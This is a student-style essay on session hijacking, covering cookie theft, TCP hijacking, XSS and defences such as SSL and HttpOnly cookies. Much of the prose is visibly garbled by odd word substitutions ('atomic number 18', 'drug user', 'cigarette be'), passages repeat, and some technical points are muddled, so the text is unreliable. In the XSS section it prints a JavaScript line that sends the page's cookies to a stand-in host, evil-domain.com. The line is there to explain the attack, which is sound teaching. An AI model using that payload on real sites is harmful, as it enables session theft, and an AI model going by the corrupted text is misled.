Study And Analysis On Session Hijacking Computer Science Essay

Study And Analysis On Session Hijacking Computer experience EssayGenerally the most common way of tracking a subprogramr login state is done by using a cookie. The process is preferably simple, go to a page and enter the login id and password. If the discipline provided is correct, the next response is in the form of a cookie which uniquely identifies a particular drug user. In order to preventive the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out.IntroductionSession highjacking term manner the playation of presently running academic term. Sometimes it is often referred as session signalize, it is used to get hold of the unauthorized gain to a system or to exploit services in the a computer. When a magic cookie which is used to authenticate the user to the server is stolen and used for the unauthorized purse is referred as session hijacking. Generally it is relevant to the web developers, a s HTTP cookies atomic number 18 used to maintain the session on a site cigarette be easily stolen by an attacker or the attacker behind utilize by gaining admission to the computer where the he can find the saved cookies. cookyWhen the user runs a machine, the machine stores a small text file which is called as a cookie. Cookies are plain text, they do non contain any execut sufficient codesA web page or sever instructs a particular browser to store the information and sent it back whenever there is a request found on certain rules. Majority of sites identifies the users by these cookies. A user login state is done by using a cookie. The process is quite simple, go to a page and enter the login id and password. If the information provided is correct, the next response is in the form of a cookie which uniquely identifies a particular user. In order to check the login credentials, cookie is checked for each page of the site and it verifies your originality by being intact, until you log out.Session hijacking in TCPIn the session hijacking in TCP, the attacker takes over the TCP session between the two computers. As the most of the authentication is done at the starting of the session, this allows the hacker to gain over the machines.One of the common methods used is source- routed of IP packets. It is generally middle in the middle kind of a attack, where a hacker a raze B intercepts the conversation between the A and C by encouraging the packets to pass through the attackers machine.Even though the source routing is turned off, the attacker can use a method called blind hijacking, where the attacker tries to guess the response between the two machines. If he is successful, then the hacker sends a command that he can never see the response but however a common command is like password, which allows to access from some other plant on the network.One of the purposes of such an attack is to cause the denial of service attack at one end point so that it wi ll non respond. This attack can force the machine to crash or it can force the network connection for heavy packet loss.ProblemThe main conundrum with this kind of a system is that it leaves the user identification at a single data point and more over the cookies sent over the meshwork is in the form of plain text, which makes it to highly vulnerable to packet sniffing, where hacker intercepts the conversation between the network and the computer. One the user login cookie is stolen it can be used to run the similar session at a distinct place by manually setting the cookie.Because the server cant ramify between a original cookie and a duplicated cookie which was modified by the attacker through the packet sniffing, so it shows as if the user is logged on. This lawsuit of attack is generally referred as session hijacking. To prevent session hijacking using cookies there are few methods.The first one is, sending the cookies over the SSL this is a common method technique. SSL use s the encryption method for the request on the site before responding across the internet and cookie value cannot be merely determined by the sniffing. The banks and stores generally use this method frequently since most of the session is for short duration of time.Another method is to generate the session backbone randomly or which is based on the information of the user such as login id, IP address, and time when he logged in etc. It makes the session key un- usable, though it is possible.The other way is to revalidate the particular user before performing assigned to a higher security level, such as, many sites as for login information for the second time before modifying the password.Cookies in JavaScriptCreating, removing and manipulation of cookies can be done in JavaScript by using document. cookie property. This property behaves as a set cookie header when it is assigned to a cookie header. While creating a cookie, string must be used in the same format.You can create, man ipulate, and remove cookies in JavaScript by using the document.cookie property. This property acts as the Set-Cookie header when assigned to and as the Cookie header when read from. When creating a cookie, you must use a string thats in the same format that Set-Cookie expectsdocument.cookie=name=prahald domain=nczonline.net path=/ hardly by modifying the values of document.cookie does not delete the cookie. It just either creates or modifies the particular string. So that whenever the next request is made to the server, these cookies are sent along the set cookie.To retrieve cookie values in JavaScript, just read from the document.cookie property. The returned string is in the same format as the Cookie header value, so multiple cookies are separated by a semicolon and space. Examplename1=Munn name2=prahaladThis is the reason wherefore, we need to compulsory make a cookie string manually as an original cookieCookie separateing and XSSTo able to load JavaScript from a distinct doma in onto a page opens up at a particular week point or security spiral holes. In fact a request from a third party, the JavaScript doesnt include the cookies containing in a page. The JavaScript can get access to all of them. all told the script page are considered as, running on a common platform. With the similar path, and by using the similar protocol as the page. This means a script form unfaltering in other domain page by reading the cookie as cookie. Document.For example, it can be dangerous , if a person lodes a script from evil-domain.com which consists of some useful codes. However, users at evil-domain.com can switch that code to the following(new Image()).src = http//www.evil-domain.com/cookiestealer.php?cookie= + cookie.domainAs this code is being loaded on to the user page, without being recognized by user send users cookie to the evil-domain.com. This problem happens to each and every person who visits the site. Once the hacker has the user cookie, it is very easy to penetrate and doing other attacks including the session hijacking. Whenever attack happens due to injection of third-party JavaScript into a page, it is referred as cross-site scripting attack or it is generally referred as XSS.Cookie theft doesnt occur by just injecting a malicious scrip onto your page accidentally, it can also happen due to poor input filtering. Such as a page, where the user can enter the text, which is the output, onto the page. If the text consists of a script tag with the similar code as mentioned above then it is possible to steal the cookiesThe cross site scripting attack has been used against large sites for example, live journal and MySpace. The best way to protect is of formsNever ever include the JavaScript for sites or domains which are untrusted. The CDNs of big companies like yahoo,AOL and Google should be more secure using best precaution which includes other locations.From all the user input the HTML should be filtered out. You should not accept an y user input and outbound onto a page without filtering it.ConclusionHence it is safe to use cookies which all the security issues around them. That is why HTTP cookies are considered as important over the standard cookies implementations. If a cookie is marked as HTTP, a attacker cannot inject or get access to the malicious script by cookie via document. So it becomes difficult to steal the cookies. When such a HTTP cookies are supported by the browsers it becomes a third option.